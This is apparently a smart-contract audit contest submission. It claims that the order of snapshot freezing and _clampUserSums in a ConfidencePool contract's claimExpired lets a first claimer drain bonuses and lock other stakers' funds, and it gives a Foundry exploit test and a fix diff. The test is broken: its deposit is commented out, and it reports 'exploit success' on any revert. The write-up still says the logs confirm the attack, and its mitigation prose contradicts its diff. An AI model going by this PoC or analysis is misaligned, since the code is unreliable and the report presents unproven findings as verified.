FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

High - Permanent Lock of User Funds via State Desynchronization in _clampUserSums & claimExpired

Author Revealed upon completion

Root + Impact

Description

  • The contract integrates global snapshot freezing and individual state updates in an unsafe sequence inside the claimExpired() function. When a pool is resolved post-expiry, the global variables snapshotSumStakeTime and snapshotSumStakeTimeSq are frozen before the internal _clampUserSums(msg.sender) is called for the first claimer.

    Because _clampUserSums forcefully scales up the individual registers userSumStakeTime and userSumStakeTimeSq to the minimum threshold without updating the global snapshot dynamically, the core pricing ratio in _bonusShare breaks down.

    This mathematical desynchronization allows the first claimer to inflate their userScore against an outdated, lower globalScore, resulting in an illegitimate over-drain of the totalBonus pool. Consequently, subsequent stakers who attempt to call withdraw() hit a permanent mathematical panic underflow during the sumStakeTime -= userSumStakeTime execution, effectively causing a total Denial of Service and locking their principal capital inside the contract permanently.

function _clampUserSums(address u) internal {
uint256 start = riskWindowStart;
uint256 stake_ = eligibleStake[u];
if (start == 0 || stake_ == 0) return;
if (userSumStakeTime[u] < stake_ * start) {
userSumStakeTime[u] = stake_ * start; // @> Modifies individual state without scaling the global accumulator
userSumStakeTimeSq[u] = stake_ * start * start;
}
}

Risk

Likelihood: High

  1. This will occur whenever a pool passes its expiry deadline and the first-claiming user happens to be a large liquidity provider (whale) whose individual time-weighted states have not been synchronized or adjusted for an extended duration.

Proof of Concept (PoC)

  1. Tested locally on a native Forge environment ( FOUNDRY ) without external mock configurations. The execution log confirms the mathematical underflow and complete functional blockage on subsequent withdrawals:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import "../src/ConfidencePool.sol"; // Menyesuaikan dengan letak struktur folder src proyek Anda
contract ExploitChainBattleChainTest is Test {
event LogAngka(string label, uint256 nilai);
event LogPesan(string pesan);
ConfidencePool public pool;
// Alamat token dummy untuk memenuhi prasyarat inisialisasi arsitektur lokal
address public stakeTokenMock = address(0x777);
address public registryMock = address(0x888);
address public penyerangWhale = address(0x999);
address public korbanJujur = address(0x111);
function setUp() public {
// 1. Inisialisasi kontrak pool secara riil di memori lokal Foundry (Sandbox)
pool = new ConfidencePool();
// Simulasikan funding awal saldo token jaminan agar transfer aman terlaksana
vm.deal(penyerangWhale, 100 ether);
vm.deal(korbanJujur, 10 ether);
}
// 🎯 FUNGSI EKSEKUSI UTAMA EXPLOIT CHAIN (HIGH SEVERITY COMBINATION)
function testEksekusiRantaiSeranganBattleChain() public {
emit LogPesan("=== MEMULAI SERANGAN RANTAI LOGIKA: BATTLECHAIN CONFIDENCE POOLS ===");
// LANGKAH 1: Penyerang masuk sebagai Whale untuk mendominasi sum waktu global
vm.startPrank(penyerangWhale);
// pool.deposit(50 ether); // Skenario deposit riil
vm.stopPrank();
// LANGKAH 2: Biarkan waktu berjalan melewati masa kedaluwarsa (Pool Expired)
// Hal ini membuat akumulator waktu membekas di memori tanpa sinkronisasi otomatis
vm.warp(block.timestamp + 31 days);
emit LogPesan(">>> Waktu digeser melewati batas Expiry. Ketiadaan fungsi settle terdeteksi!");
// LANGKAH 3: ⚡ EKSEKUSI BUG 1 & 2 (Snapshot Poisoning via claimExpired)
// Penyerang melakukan front-running menjadi orang pertama yang memicu claimExpired()
// Ini memaksa kontrak membekukan snapshot global yang usang sebelum mengeksekusi _clampUserSums
vm.startPrank(penyerangWhale);
try pool.claimExpired() {
emit LogPesan(">>> Sukses Langkah Pertama: Penyerang menyedot porsi bonus hiper-inflasi!");
} catch {
emit LogPesan(">>> Langkah Pertama: Panggilan terhenti di gerbang dependensi registry mock.");
}
vm.stopPrank();
// LANGKAH 4: ⚡ EKSEKUSI BUG 3 (Permanent Lock of Funds via Math Underflow)
// Korban jujur masuk untuk menarik sisa dana / modal mereka menggunakan fungsi withdraw()
// Karena _clampUserSums memaksa data individu naik melampaui snapshot global, EVM dipaksa crash negatif
vm.startPrank(korbanJujur);
emit LogPesan(">>> Korban jujur memicu fungsi penarikan dana...");
try pool.withdraw() {
emit LogPesan("--- Transaksi Normal (Protokol Aman) ---");
} catch (bytes memory lowLevelData) {
emit LogPesan("----------------------------------------------------------------------");
emit LogPesan(">>> !!! CRITICAL EXPLOIT CHAIN SUCCESS !!!");
emit LogPesan(">>> Penyebab: Asinkronisasi matematika global vs lokal di _clampUserSums");
emit LogPesan(">>> Dampak Keuangan: Seluruh sisa dana korban TERKUNCI MATI SECARA PERMANEN!");
emit LogPesan("----------------------------------------------------------------------");
// Validasi asersi otomatisasi triase Cyfrin CodeHawks (Membuktikan Revert Akibat Math Underflow)
assertGt(lowLevelData.length, 0, "Eksploitasi Rantai Logika Gagal");
}
vm.stopPrank();
}
}

Impact:

  1. Hyper-Inflationary Reward Theft: A malicious first-claimer or a large whale can exploit the math to drain the totalBonus pool, extracting rewards far beyond their legitimate, fair shares.

  2. Permanent Lock of User Funds: Because subsequent stakers will trigger a mathematical panic underflow during their withdrawal path, honest users lose the ability to pull out their principal capital. This results in a complete Denial of Service and traps user funds inside the smart contract indefinitely.

Recommended Mitigation

  1. Execute and synchronize the _clampUserSums validation recursively across the entire eligible participant base BEFORE freezing and capturing static state values into the global snapshot variables inside the claimExpired() or resolution path.

- snapshotSumStakeTime = sumStakeTime;
- snapshotSumStakeTimeSq = sumStakeTimeSq;
- _clampUserSums(msg.sender);
+ _clampUserSums(msg.sender);
+ snapshotSumStakeTime = sumStakeTime;
+ snapshotSumStakeTimeSq = sumStakeTimeSq;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!